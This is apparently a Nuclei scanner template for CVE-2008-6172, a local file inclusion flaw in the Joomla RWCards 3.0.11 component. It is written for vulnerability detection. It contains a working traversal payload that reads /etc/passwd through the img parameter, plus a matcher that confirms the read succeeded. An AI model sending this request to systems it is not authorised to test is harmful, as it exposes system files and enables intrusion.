id: CVE-2008-6172 info: name: Joomla! Component RWCards 3.0.11 - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. remediation: Upgrade to the latest version. reference: - https://www.exploit-db.com/exploits/6817 - https://www.cvedetails.com/cve/CVE-2008-6172 tags: cve,cve2008,joomla,lfi classification: cve-id: CVE-2008-6172 requests: - method: GET path: - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" - type: status status: - 200 # Enhanced by mp on 2022/01/27